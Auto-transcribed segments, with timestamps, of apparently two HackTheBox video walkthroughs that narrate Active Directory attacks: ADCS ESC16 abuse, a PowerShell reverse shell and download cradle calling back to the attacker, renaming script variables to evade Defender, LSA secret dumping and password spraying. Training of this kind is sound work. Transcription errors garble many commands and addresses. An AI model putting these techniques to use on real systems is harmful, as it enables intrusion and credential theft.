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Um let's do pathf finding. I'll copy this start node that and then end node is going to be winrm and this will really easily put this path in a visible format. Right? So we're a member of this. Let's go ahead and make it so it's a bit easier for you to see. So I think if I do this that'll let me zoom and we can see the... | 1,294.88 | 0 | {
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There we go. So, we're going to since we're a member of this, we're going to add oursel to the service account group and that's going to allow us to generic right over winrm service. And essentially um that's how we get the shadow credential. So, the first step is uh to add oursel to the service accounts and I'm going ... | 1,328.32 | 0 | {
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The domain fluffy htb. The host is going to be 1010 1169. I don't know if I need that. I'm just in a habit of uh supplying it. And I typer this domain differently. Man, I just cannot type that. So we're going to do add group member service accounts and then the user we want to add which will be herself P A and we have ... | 1,366 | 0 | {
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Uh let's see we missed something. | 1,430.88 | 0 | {
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What did I miss? Uh, typo and typo. Did I say I'm having problems typing today? Uh, so we have that. I'm going to go ahead and just copy this command because it does take a second for that to work. And while that does, I'm going to request something for the CA service as well. So, we'll have both of these. Um, this is ... | 1,436.799 | 0 | {
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We'll do win rm svc. Paste that in. CAVC. | 1,478.08 | 0 | {
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And we will paste this in. Okay. Save. And then we could just do like evil winrm i 1010 1169 user win rm svc. I want to say it's a dash capital h right is that hash. There we go. So this is how you could get user.ext. I think that's in desktop like that. So that would be that. But the next step is abusing the certifica... | 1,486.32 | 0 | {
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Uh we have generic right over to users. Um we can enroll in those certificates. | 1,535.039 | 0 | {
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We can also enroll in the CA, but nothing really stands out here. And Blood Hound currently doesn't show um the ADCS um I think it's ESC9 or 16. I think it's the 16 attack. Um Blood Hound doesn't currently show it. So that's why we don't have it in this interface. And at the time of release, um you had to grab a versio... | 1,541.76 | 0 | {
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There we go. So, we have the hash. Uh, we want to specify the CA, which is fluffy DC1CA. So, we can say fluffy DC1 CA. I think I typed that right. That looks good. And then after this, uh, what do we need? Uh, DCP 10169-vulnerable. | 1,598.72 | 0 | {
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Actually, I don't specify the CA here. because it's going to look at everything. Can I though? No. | 1,624.559 | 0 | {
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I think that's all I need. There we go. | 1,636 | 0 | {
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So, it's connecting remote registry. And once this finishes, it should highlight the vulnerable certificates. I think certify now by default just puts it into an output file. So, we'll just be able to read that and then see what we have. | 1,641.76 | 0 | {
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web enrollment. I don't know if um that's probably because the web server is not online. | 1,658.24 | 0 | {
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So we have written to soda pi. So let's go and cat this uh 203 and we'll do text. Here we go. So we have ESC16 because the security extension is disabled. This is going to be very similar to the um certified video which was ESC9. The difference between ESC16 and ESC9 is ESC16 is configured on the certificate authority ... | 1,665.12 | 0 | {
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security extension. Um, it's a weak mapping in active directory. And by that I mean it's going to trust the user principle name in order to map an account. Um I want to say the strong mapping requires the SID of that user the like s dash um that long unique name. It's just a more secure um place to put it. Right. | 1,725.44 | 0 | {
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So we'll show this in a minute. Let's see if I can quickly find um a blog post for you to read. uh it's probably going to be the certifi wiki. So I would highly recommend just reading these if you want uh more information, but we'll go ahead and exploit it and hopefully it makes sense as we go through it, right? Uh so ... | 1,749.52 | 0 | {
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Because that's the one that had the um generic, right? Right. So if I went to path finding, is this still here? | 1,788.88 | 0 | {
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Let's do P A this generic. Right. Come on. | 1,800.24 | 0 | {
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Right? Because we have right access over these accounts, we can update the user principle name. So I'm going to update the user principle name for the CA service to be administrator. And then we're going to request a certificate. In that certificate, it's going to say the subject alternate name is administrator. | 1,813.52 | 0 | {
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Then when we use that certificate, it's going to map that administrator user and let us in as them. So that is the attack in a nutshell. So, if it doesn't make sense after watching the video, I'd highly recommend going to the certified video because I also do the uh very similar attack there. So, I'm first going to do ... | 1,833.039 | 0 | {
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Uh the password let's do cat creds this put this in uh DC IP 1010 11169 we'll do dash user CA service read so we can see what the current user principle name is it is going to be CA service at fluffy.htb HTB. It's also worth noting if we were doing it to an account that wasn't a domain administrator, we couldn't have t... | 1,864.88 | 0 | {
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Um Windows will treat both CA service and CA service at fluffy.htb as the same thing. If we try to update it to a um UPN that already exists, we'd get a violation constraint, right? So, if you ever do this attack, you get a violation constraint. I would just change it to be either the fully qualified name, adding the d... | 1,895.2 | 0 | {
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Um, I'll show you the extra real quick. So if we do win service um uh what is it? WinRM SVC. I think that's the account that already exists. Um, let's do update. This should allow it. Uh, we have to add oursel to the group. because hygiene um like a script automatically cleaned up the box. So, let's do uh what is it? B... | 1,926.32 | 0 | {
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Um do I have that password? I do. Dash account. Oh no. Um, Prometheus domain fluffy http host 1010 1169 add group number service accounts agula uh what uh typo there we go. | 1,963.519 | 0 | {
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So now when I do this, it's going to succeed, right? Because um the UPN for this was the fully qualified name. If I try to update this to be fluffy.htb, this is going to be where it errors. We have a constraint error because that is a unique field. So if you ever see that, I just swap out between the two. But we're goi... | 1,999.2 | 0 | {
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Okay. So, now that we do this, now we want to request a certificate. So, we can do certify request- and we're going to do it as the CA service user um hashes. | 2,026.559 | 0 | {
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Let's go ahead and grab this hash and then CA. This is the fluffy DC01CA. | 2,039.36 | 0 | {
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The template um I want to say that was the user template. The UPN is going to be administrator DCIP 10169 uh UPN. So, this is going to request a certificate and we're going to get the UPN of administrator because that's what we set our UPN to for this user. | 2,051.44 | 0 | {
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And if I want to, we could use um open SSL PKCS12 in administrator. You don't have to do this. What I'm going to do is just show what the certificate looks like. Um do no keys because I don't care about the private keys. That puts it in the x509 format which lets us dump things. Um no out. This is going to hide some B ... | 2,080.879 | 0 | {
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So if I look at the certificate and we look at the subject alternate name, it is administrator. So this is going to be what our certificate uses to authenticate. And if we attempted to authenticate right now, um it would fail because if we look at our CA service, uh the UPN is currently administrator and we'd attempt t... | 2,104.88 | 0 | {
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Um, certify O DC IP 1010169. | 2,141.359 | 0 | {
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The file administrator pfx. The username is administrator and the domain is fluffy http. Um, there we go. So, this fails. | 2,148.72 | 0 | {
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Now, what I'm going to do is that update command again, and we're going to uh let's see. Was it bloody AD I used? There we go. So, this UPN can be anything we want. | 2,167.119 | 0 | {
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I'm just going to put it back to CA service. And now because the certificate for the CA service account um or this UPN doesn't match that um UPN, it's going to default to the domain admin and that's what's going to let us in, right? Uh so hopefully that makes sense, right? Um the certificate says word UPN of administra... | 2,180.96 | 0 | {
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gonna be the video. Hope uh it all made sense and you enjoyed it. Take care and I will see you all next | 2,250.72 | 0 | {
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what's going on YouTube this is IP I'm doing freelancer from hack the box which is a nice hard machine it starts out with the D Jengo web app that has a business logic vulnerability within account registration when anyone registers an account they can't log in because it needs to be validated however if they use the fo... | 0.28 | 0 | {
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a reverse shell on the box from there we do some memory analysis on a dump file that lets us retrieve passwords use those passwords to log into another account which can recover data from the ad recycle bin and then that will enable eventually to exploit a SE backup privilege in order to extract passwords from the box ... | 47.079 | 0 | {
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first one is DNS on Port 53 and the banner tells us it's simple DNS plus which is the default Banner on a Windows domain controller so I always look down at nmap and confirm yes active directory is installed so we are dealing with a DC we also have HTTP on Port 80 and it's running engine X which is a bit odd I didn't e... | 92.24 | 0 | {
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asp website or net or something it would definitely be on I it being on engine X is a weird curveball looking at the other ports it's all just relative to active director we have keros ldap SMB so nothing too interesting there I do want to add the host name freelancer htb to my host file because it looks like the websi... | 146.48 | 0 | {
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when I go against a domain controller I always like starting with SMB because I just want to list open shares so I'm going to do n C SMB 101011 do was it four five I think five right and then D- shares and this is just going to list open shares if there's any or if we can authenticate to it we have list index out of ra... | 203.519 | 0 | {
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support Zone transfers I don't think it's enabled by default on Windows but it literally takes a second to check so we're going to do a dig at and then the DNS server and then you have to give it the domain name so we'll do freelancer htb and then axfr to do a Zone transfer and we get a denied or transfer failed so the... | 257.199 | 0 | {
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I'm doing a um search on the page source to see if it says Jango it doesn't uh we could look at the cookies that are set because a lot of times um various Frameworks set a unique cookie like um Express I think is connect. Sid uh flask is just planing out session and what's another one like larvel is lalore session um J... | 309.68 | 0 | {
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cookies um you can just get it from playing with a lot of just Technologies and eventually you memorize it or you can go to chat jippy and then just ask questions right so we're here we could just say um what is the default cookie name for csrf with let's do expressjs first right and this is probably going to tell us I... | 367.639 | 0 | {
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identify um the fingerprints right we could also ask it like what is the default session ID cookie name for Jango and this will probably tell us its session ID and then I'll ask get flask and it'll tell us its session right so these are the types of things I play with when I'm just trying to fingerprint um a web server... | 426.56 | 0 | {
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rocks first name last name address then what are these next things um security questions I feel like this is trying to social engineer me and put my security questions out there in the public we'll just do ipsec for everything and then password we'll do um the super secret password one with the exclamation point at the... | 474.599 | 0 | {
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I'm going to do IPC for everything and then hit enter and it wants us to reset the password so let's set it to password one and there is a chance when it resets the password it also like changes the flag of um if someone's been like validated right so this would be a business logic vulnerability generally I don't see i... | 525.56 | 0 | {
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scripting let's go to manage job nothing there all applicants so I'm guessing if we post a job maybe applicants will show up we go to QR code it says use your mobile phone to scan this QR code to log into your account without using any type of credentials so let's download this QR code and see exactly what it looks lik... | 581.279 | 0 | {
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PNG um home htb oh home hipc htb freelancer then qr. PNG save that and we can use a program called zart image to convert QR codes right that's the whole purpose of this there's probably a web browser extension you could also install that would automatically do it but I normally just use the command line and doing this ... | 613.12 | 0 | {
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they have blog author and you can normally find them that way so let's see this if we click on Christa Waton she is five I'm going to do 10,10 that is going to be me so we have a way to enumerate valid IDs so if we go to one we get a 404 let's try two uh we have admin and John haland so this is probably going to be wha... | 688.24 | 0 | {
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code we're going to save this image I'll save it back to QR then let's do a zar again and then mg equals equals we'll delete the base 64 and put that so go here and I'm going to say capital m g equal equal and we get in awesome so the vulnerability here is this onetime pad I'm guessing that's what it's called because w... | 753.839 | 0 | {
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admin and we do just log straight into D Jango because it's using the same exact session for the um user as it is in ad and jeno is it's kind of like a um I don't know exactly how to describe it quickly a super featureful flask so most people watching this are going to be familiar with flask flask is just a bare bone l... | 828.839 | 0 | {
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looks like it's going to be a Microsoft SQL Server so that would probably be like select add at version I want to say is how you enumerate that and there we go we have Microsoft SQL Server 2019 so we can run mssql commands right um is it like select system user is that how do we do user I forget exactly with this there... | 884.8 | 0 | {
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authentication so I'm just going to do a netcat real quick to see if it connects back and then if it does then we'll run responder right so we'll do execute there we go we get a SMB header so let's run responder so we'll do responder I ton zero do another connection and there we go we have the ntlm hash now normally I ... | 951.079 | 0 | {
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have that so I guess the next thing I would do is try to enumerate the local um tables and dump the users table to see if there's password hashes right so let's Google mssql let's do hack tricks pentesting mssql and then we just kind of want to see how to dump tables right this is msql client there we go so version use... | 997.68 | 0 | {
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let's do that and I'm going to put two dashes there just to comment that so I have it if I want it again so select star from then we can run this command and execute and then we get a bunch of hashes and usernames so I dump this and also just send it over to hashcat to see if it could crack but um doesn't really bi us ... | 1,069.72 | 0 | {
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first and then reconfigure and then we run the next one which is this and I think we do exact I'm not positive by that if it fails with a way we don't expect then we'll remove exact so we'll do execute and user does not have permission so we can't reenable XP CMD shell so let's see what else can we do on this so we go ... | 1,127.76 | 0 | {
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in the way we can execute and this is telling us we can impersonate the sa user um let's see how can we get everything if I just delete this we statement what happens execute maybe it's got too many rows limit one wait does mssql not have limit that is bizarre let's see select star limit 1020 with my SQL we row number ... | 1,195.039 | 0 | {
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is um our guy the SQL service what was that command so we did that let's dump all the principles so we're right here on impersonate 267 so let's do another select stf from this I'm not sure why the join didn't work before that's weird but on this query execute that's not working um I wonder if this table has too many r... | 1,298.919 | 0 | {
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let's get rid of that and then we want to impersonate a user if we go back here um let's see we have execute as so we can execute as that CA user and then we want to do um let's see I wonder if we can just do select I don't know how to if we do system user um I think that would have been the same anyway right execute w... | 1,383.559 | 0 | {
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um Nang po invoke Powershell right is it just shells invoke power shell TCP on line PS1 and I'll call it rev. PS1 okay so let's go and edit this file uncomment those or delete those there we go we want to put our IP address here so we'll do 10 1048 and then for Port we want 90001 so we can do NC lvmp 901 and since is W... | 1,470.64 | 0 | {
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the web server hit our web server but we don't get a shell it's probably antivirus right so um the next thing we need to do is convert this web cradle to base 64 so cat cradle um I convert DT utf16 little Indian this is just how Windows likes it and then B 64 w0 and we can copy this string and then stand up a web serve... | 1,552.96 | 0 | {
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been blocked so this is definitely going to be antivirus is blocking it okay so what we want to do is change this up so let's go to rev. PS1 and and previous videos we found out if we just rename all the variables and delete this piece um it'll bypass um basic Defender so let's do that I'm going to make sure I didn't m... | 1,644.52 | 0 | {
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sb2 and then send back we need do dollar I'll call this um the sender again all we're doing is changing the signature of this because I don't know exactly where what Powershell Flags but it's got a few strings in this that it just detects right um I think we want to delete this and I don't know if I did send bite we'll... | 1,729.96 | 0 | {
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thing we could change it to invoke web request and then you do use basic parsing then the URL so HTP 101048 Port 8000 rev. PS1 maybe this will be better cuz it's just different let's now convert this we'll run this command copy paste exec we need to start the server run it something is I wonder if it's because we don't... | 1,813.279 | 0 | {
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error message or weird message so let's do a Di and we just have I guess we're in system 32 yep so you can do CDD um di apps di engine X let's go HTML index let's see sites enabled freelancer do config or conf see it's going to local hostport 8000 and it goes to C colon app freelancer static so can we go in this direct... | 1,898.48 | 0 | {
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like the Box itself so we could try like CD program data we go in dubdub dub let's do CP opt PS win peas um we can start the web server back up and then curl HTTP 101048 8,000 d o we'll call it p. | 1,984.399 | 0 | {
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this should download if we try to execute it thinks about it is it going to come back I really don't think it will do a DI it does not execute I think eventually um the file will just disappear but Defender is blocking us from running this at least that's what my assump there we go it's gone so I wonder if we execute i... | 2,009.2 | 0 | {
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we'll just do PWD and then we can say new PS Drive PS provider file system we'll give it the drive name of IPC and the root is going to be at 10 1048 and we said slash files and we see it trying to connect looks like the user connected successfully CD ipac um does not look like it see is there a way to get like an erro... | 2,079.119 | 0 | {
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it just melted this is one of the most berser things I've seen okay let's set a credential real quick um Das username ic- password uh we'll do please subscribe okay so now we want to add the password here so we can say pass is equal to Please Subscribe like that and then convert to secure string as plain text force and... | 2,218.839 | 0 | {
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subscribe oh my God I think we finally got it sweet we're finally mounted I don't know why I screwed up with my power shell command but this is why it always is helpful to know multiple ways to do things so running wind peas off of a SMB share let's see if it works it's taking longer but I don't know if that means it's... | 2,362.2 | 0 | {
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back slash CD users and we could go into our directory so let's do CD SQL service and then we could mainly look at like the desktop to see if there's anything here you can go in downloads and then we can see the SQL Express installation so we can go into this directory and then notice there is a configuration file so i... | 2,419.2 | 0 | {
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do a get um child item of like exes and things like that so we could say like um any let's do yl um Powershell and CFG so we're going to get every um pretty much cat and all these files is what we're doing and then we can say select string of pass and this is shows us um this file has this so how it worked is go into t... | 2,482.04 | 0 | {
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could now do like net exac SMB 10101 5-u um what was it SQL uncore service let's just copy and paste this- P put the password in quotes and if we have authentication successful huh we don't SQL SVC so maybe the password's been changed since um that I expected a success there uh we could try the temporary password as we... | 2,565.8 | 0 | {
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um wrong clipboard there we go and now we can go back to our SQL map or not SQL map um net exec and say user. text P password. text and do a big spray and I'm also going to say um continue on success because by default net exec is going to stop soon as it has a sucess successful login um I want to keep going so we have... | 2,668 | 0 | {
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can go in the database and then we want to set the protocol to SMB and if we do creds we can dump it that way and then you can also specify the cred with the- ID so if we do um whoops - id1 it'll automatically use this one right we can do D- shares so this is another way of just using that exact it doesn't say pwned so... | 2,731 | 0 | {
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can still get a shell with um run as right we've shown that tool a few times so let's go to Google run as CS GitHub and we'll download this and thankfully this one does not um get flagged by Defender so we can just run this straight on the Bo so we'll download this let's save it to dubdub dub okay and then let's see PW... | 2,799.88 | 0 | {
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server and then running it there because if you try to run it off the share just weird things happen um because it's like high latency and things like that I wouldn't use like impacket for that if I was executing files off of share I would actually edit the like sber configuration and just use the SMB server that's bui... | 2,874.119 | 0 | {
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shell reverse shell but I think CMD shell will be fine so if we do who am I SL all um no extra real privilege if we do who am I Massa let's go into her home directory so let's go to um this directory is there anything in desktop we got a few files so let's go desktop type mail. text and it looks like they are troublesh... | 2,941.799 | 0 | {
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that's why I just changed it to Y we can copy the memory dump here or that's why I changed the share name from files to xville because on this session it was mounted as files and windows just didn't like that so it's going to take a little while to copy this if we do a CD SMB or CD dubdub duub that's where we melted it... | 3,035.24 | 0 | {
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just seven zip un extract this and then once we have the memory dump we're going to use a tool called MPR FS when I originally did this box I spent a lot of time with volatility 3 and I just couldn't get everything working the way I wanted it to um the MPR FS did seem to work well so that's the way we're going to be sh... | 3,096.28 | 0 | {
"video_id": "NcicYfFofS4",
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"url": "https://www.youtube.com/watch?v=NcicYfFofS4"
} |
I'm going to delete the archive so we can RM that and then if we want to mount something let's just do um we'll just mount it to SL Mount I guess we can do pseudo do SL MPR FS uh the device we're going to give it the dump file so memory. dump and then the mount path I'll give it/ Mount and then we're going to I don't t... | 3,156.88 | 0 | {
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text and get all the files um maybe for I in LS star when CMD line. text do cat I is that going to do it better we can also put an echo here there we go uh we can also say Echo Das and I like that so now we got the file name this is going to be p700 is dcom Elsas is p ID 584 so you can navigate processes this way so if... | 3,244.319 | 0 | {
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} |
and I will do a get clone on this and then we go in files plugins we got Pi pie cats and rag secrets so I'm going to move those to just the plugins directory so now in plugins we do have pi pcats and R Secrets but Pi pcats is not installed on a box so if we try this Mount again where is the Mount command there it is CD... | 3,331.359 | 0 | {
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and the correct answer is probably get this on a different VM that's running like python 312 or something newer than 39 I really got to update my parrot maybe I'll do that next week um let's see so we'll do 069 okay so now I can run Pi pcats so if we do this Mount again I don't actually don't think it's going to work b... | 3,417.72 | 0 | {
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don't know actually what's in software um nothing if we look at security. text we have it dumping a bunch of things out of LSA and we got two credentials here we got MSA SQL server password and this pwned one so let's add this into or passwords do text so we can add ped and then this mssql okay and I'm just going to ta... | 3,518.839 | 0 | {
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text paste that let's grab this paste that and let's grab the final one paste that save it and then we'll cut it again so we can easily put this on our clipboard and I'm going to go over over to the Kraken which is just another box of my network um you can use your H to crack if you want but just don't crack in VMS bec... | 3,601.76 | 0 | {
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looking at hashcat there is one that has cracked so if we do D- show we can see Lisa Koff is Rocky um with the exclamation point so let's copy this and then we can go back here um let's see it was Lisa see where is oh there we go it's the last one right here so let's just try this password Rock youu and then the userna... | 3,699.559 | 0 | {
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obvious when you look at it and both of them were the same exact length that makes you think it's in chunks or something like that right so let's go ahead and um redo our net exec with a password spray see if we get anyone else and I guess while this goes um oh I saw one we do have Laura 199 has hit so we could use the... | 3,787.799 | 0 | {
"video_id": "NcicYfFofS4",
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evil when rm- I 101 11 what's the IP 5 U uh this is going to be P there we go and the reason why I wanted to use Evo winm here instead of runss is because like whenever I can use a remote protocol like SSH or winrm I prefer to do that because if I stopped doing the box and then picked up at a later time I don't have to... | 3,897.88 | 0 | {
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it's going to be Lisa kinof and oddly enough that is the one that had cracked and we could and find this username in our like get ad users dump we found L kazanov I think but not this full username so this one is deleted it looks like we can do a um restore ad object and then identity is going to be the object guid and... | 3,978.88 | 0 | {
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this we have password expired but we can use the SMB um passwd dopy from impacket to set a new password so the target is going to be um freelancer htb Lisa dot um how do we spell it k a z n o f then a colon the password which was you we probably should put this in quotes I always get scared when I have exclamation poin... | 4,077.72 | 0 | {
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one and valid password but we did not log in we can see if they can do a win RM and it looks like they can so let's do evil win rm- I 10101 15 or five uh --u Lisa kazanov P password one and we get in so let's do a who am iall and we have the SE backup privilege we have a few of these like SE restore backup whatever but... | 4,174.319 | 0 | {
"video_id": "NcicYfFofS4",
"title": "HackTheBox - Freelancer",
"url": "https://www.youtube.com/watch?v=NcicYfFofS4"
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also potentially do it through WB admin but I think the most common way is going to be dis Shadow so we have to create a script that has this content in it um it explains exactly what it's going to do but essentially it sets up a backup to Eon that then we can go into so let's really quickly do this uh program data uh ... | 4,244.64 | 0 | {
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"title": "HackTheBox - Freelancer",
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script okay so now that we have the script on the box we can do the dis Shadow command uh we named it something different backup script there we go and I don't know if that worked I think we have something wrong set rever on I hope it's not like a UTF thing because this is what it should look like huh see does this hav... | 4,298.12 | 0 | {
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get back to where I was actually I realized my VPN probably didn't die when I pinged it the last time I did Ping 10 10 145 instead of um the right IP address which was 115 so I don't know what is happening here my winrm just completely died on this box I got back on Laura let's see get 0 user filter star do we still ha... | 4,427.32 | 0 | {
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started becoming a problem um let's see reset ntp Q 10 10 115 how do we set the date let's see ntp set date ntp date- s see if this works my time has definitely been changed let's see is this the right shell I should have taken better notes um I see 8 recycle bin so we can say deleted see copy this new name Lisa test d... | 4,546.44 | 0 | {
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up and it really doesn't like that file because we do have set verbos on back up see we'll just call it B and to try catting each of these to a file cuz if this do doesn't work then I guess we're doing the backup the wrong way and I should have read the entire article but you digress or I digress or whatever the phrase... | 4,717.36 | 0 | {
"video_id": "NcicYfFofS4",
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going to do get content path B we're going to set the content to I'm going to call it back because I don't know exactly what names I've used know I haven't used that we'll say encoding asky Wim failed again not exactly sure what's going on with my winrm connection it is hanging I'm paying the Box why won't this exit um... | 4,873.04 | 0 | {
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DI okay so maybe it was the line breaks in these maybe like Linux is only doing back sln and windows wants back SLR back sln that's the only reason I can think of that being like nine bytes bigger because that's probably like nine lines so we got an extra character per line so that may explain this um let's see they do... | 5,011.4 | 0 | {
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